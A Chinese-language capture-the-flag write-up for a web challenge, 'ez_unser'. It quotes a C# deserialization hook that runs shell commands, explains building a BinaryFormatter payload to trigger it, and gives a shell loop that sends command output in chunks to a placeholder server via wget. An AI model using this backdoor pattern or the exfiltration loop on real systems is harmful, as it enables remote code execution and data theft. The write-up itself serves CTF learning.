Web - ez_unser Writeup
分析附件
这一看就是咱学校出的题var user = new Employee("Test","JNU",111m);
在Models/BinaryData.cs找到RCE后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| [OnDeserialized] private void OnDeserialized(StreamingContext context) { if (!string.IsNullOrEmpty(Data) && Type == "command") { try { var process = new Process(); process.StartInfo.FileName = "/bin/sh"; process.StartInfo.Arguments = $"-c \"{Data}\""; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.Start(); string output = process.StandardOutput.ReadToEnd(); string error = process.StandardError.ReadToEnd(); process.WaitForExit(); } catch (Exception ex) { ...省略... } } }
|
可知 需要构造符合的BinaryData字节流 type=command
复制粘贴EmploymentSystem.models命名空间 创建对象然后序列化
dotnet run阻止运行 警告SYSLIB0011 所以需要添加#pragma warning disable SYSLIB0011

POST payload到 /Employee/ser 服务端报错未知AssemblyName
将.csproj文件里的AssemblyName字段值改为EmployeeSystem与服务端一致

返回Object of type EmployeeSystem.Models.BinaryData processed successfully 说明RCE成功
拿出我在secret题目科研出的RCE无回显通解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| o=$(任意命令 2>&1)
s=1 while true; do c=$(echo "$o" | cut -c $s-$((s+199)))
[ -z "$c" ] && break
wget "http://服务器IP/$c"
s=$((s+200)) done
|

感谢出题人审阅 辛苦了